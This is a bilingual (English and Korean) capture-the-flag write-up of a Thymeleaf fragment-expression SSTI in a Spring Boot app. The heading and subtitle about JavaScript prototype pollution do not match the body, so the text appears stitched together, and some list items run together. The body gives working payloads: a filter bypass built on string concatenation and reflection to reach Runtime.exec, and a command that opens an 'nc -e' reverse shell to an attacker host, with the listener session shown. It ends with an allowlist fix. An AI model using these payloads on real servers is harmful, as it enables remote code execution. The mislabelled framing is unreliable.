Prototype Pollution: Poisoning JavaScript's Object Chain
How Prototype Pollution corrupts JavaScript's prototype chain and how to defend against it
Decompiling app.jar (Spring Boot 2.2 + Thymeleaf) shows a controller that builds its view name from a cookie:
@GetMapping({"/welcome"})
public String welcome(@CookieValue(value = "lang", defaultValue = "en") String lang) {
return lang + "/welcome"; // view name is attacker-controlled
}
Returning a String from a Spring controller names a template to render. When part of that name is user input, Thymeleaf’s expression parser can be coaxed into evaluating it. This is the classic Thymeleaf fragment-expression SSTI, triggered with the __${ ... }__::fragment form.
A filter tries to keep things safe:
final String[] DANGEROUS_STRINGS = {"Runtime", "java", "class"};
// preHandle() 403s if the query string OR any cookie contains one of these
So our payload cannot contain the literal strings Runtime, java, or class.
The fragment-expression syntax __${expr}__::.x evaluates expr. Let’s try a quick arithmetic probe. The resolved template name shows up in the error message:
curl http://host/welcome -b 'lang=__${7*7}__::.x'
# ... Error resolving template [49] ...
49 proves 7*7 was evaluated server-side. Now we escalate to code execution.
Reaching Runtime normally reads T(java.lang.Runtime), but java, Runtime, and class are all banned. Two tricks get around it:
'ja'+'va.lang.Runt'+'ime'.Class object without the word class: (1).TYPE is Integer.TYPE, i.e. int.class, giving us a Class to call forName on.Chaining forName(...).getMethod('getRu'+'ntime').invoke(null) yields the Runtime singleton, and .exec(...) runs a command:
__${(1).TYPE.forName('ja'+'va.lang.Runt'+'ime').getMethod('getRu'+'ntime').invoke(null).exec("id")}__::.x
None of java / Runtime / class appear as literals, so the filter waves it through.
/bin/ash in the image has no $()//dev/tcp, so instead of a shell one-liner we spawn a reverse shell with nc -e and read the flag interactively:
__${(1).TYPE.forName('ja'+'va.lang.Runt'+'ime').getMethod('getRu'+'ntime').invoke(null).exec("nc <attacker> 5555 -e sh")}__::.x
URL-encode it into the lang cookie against /welcome, with a listener ready:
❯ nc -nlvp 5555
listening on [any] 5555 ...
connect to ... 39643
cat flag.txt
DH{REDACTED}
Never let user input flow into a Spring view name. A returned String is a template selector, and Thymeleaf will happily parse an injected fragment expression as code. The blacklist here was doomed twice over: string concatenation defeats substring filters ('ja'+'va...'), and Java’s reflection surface offers many roads to the same class ((1).TYPE sidesteps the word class entirely). Fix the root cause (resolve view names from a fixed allowlist) rather than blacklisting the infinite ways to spell Runtime.
app.jar(Spring Boot 2.2 + Thymeleaf)를 디컴파일하면, 뷰 이름을 쿠키로 만드는 컨트롤러가 보입니다.
@GetMapping({"/welcome"})
public String welcome(@CookieValue(value = "lang", defaultValue = "en") String lang) {
return lang + "/welcome"; // 뷰 이름이 공격자 제어
}
Spring 컨트롤러가 String을 반환하면 렌더링할 템플릿 이름이 됩니다. 그 이름 일부가 사용자 입력이면, Thymeleaf 표현식 파서가 그것을 평가하도록 유도할 수 있습니다. 바로 __${ ... }__::fragment 형태로 트리거되는 고전적인 Thymeleaf 프래그먼트 표현식 SSTI죠.
필터가 안전을 지키려 시도합니다.
final String[] DANGEROUS_STRINGS = {"Runtime", "java", "class"};
// preHandle()은 쿼리스트링이나 쿠키에 이 중 하나가 있으면 403
즉 페이로드에 Runtime, java, class 리터럴 문자열이 들어가면 안 됩니다.
프래그먼트 표현식 문법 __${expr}__::.x는 expr을 평가합니다. 간단한 산술로 탐침해 봅니다. 해석된 템플릿 이름이 오류 메시지에 드러나거든요.
curl http://host/welcome -b 'lang=__${7*7}__::.x'
# ... Error resolving template [49] ...
49는 7*7이 서버에서 평가됐음을 증명합니다. 이제 코드 실행으로 확장합니다.
보통 Runtime에 닿으려면 T(java.lang.Runtime)을 쓰지만 java, Runtime, class가 모두 금지입니다. 두 가지 트릭으로 우회합니다.
'ja'+'va.lang.Runt'+'ime'.class라는 단어 없이 Class 객체 얻기: (1).TYPE은 Integer.TYPE, 즉 int.class라서 forName을 호출할 Class를 줍니다.forName(...).getMethod('getRu'+'ntime').invoke(null)을 체이닝하면 Runtime 싱글턴이 나오고, .exec(...)로 명령을 실행합니다.
__${(1).TYPE.forName('ja'+'va.lang.Runt'+'ime').getMethod('getRu'+'ntime').invoke(null).exec("id")}__::.x
java / Runtime / class 어느 것도 리터럴로 나오지 않으니 필터를 통과합니다.
이미지의 /bin/ash에는 $()//dev/tcp가 없어서, 쉘 원라이너 대신 nc -e로 리버스 셸을 띄워 대화형으로 플래그를 읽습니다.
__${(1).TYPE.forName('ja'+'va.lang.Runt'+'ime').getMethod('getRu'+'ntime').invoke(null).exec("nc <attacker> 5555 -e sh")}__::.x
이걸 URL 인코딩해 /welcome의 lang 쿠키로 보내고 리스너를 대기시킵니다.
❯ nc -nlvp 5555
listening on [any] 5555 ...
connect to ... 39643
cat flag.txt
DH{REDACTED}
사용자 입력이 Spring 뷰 이름으로 흘러가게 두지 마세요. 반환된 String은 템플릿 선택자이고, Thymeleaf는 주입된 프래그먼트 표현식을 기꺼이 코드로 파싱하거든요. 여기 블랙리스트는 두 번 실패할 운명이었습니다. 문자열 결합이 부분문자열 필터를 무너뜨리고('ja'+'va...'), Java 리플렉션은 같은 클래스로 가는 여러 길을 제공합니다((1).TYPE은 class라는 단어를 통째로 우회). Runtime을 적는 무한한 방법을 블랙리스트하는 대신, 근본 원인을 고치세요. 뷰 이름은 고정된 허용목록에서 해석하는 겁니다.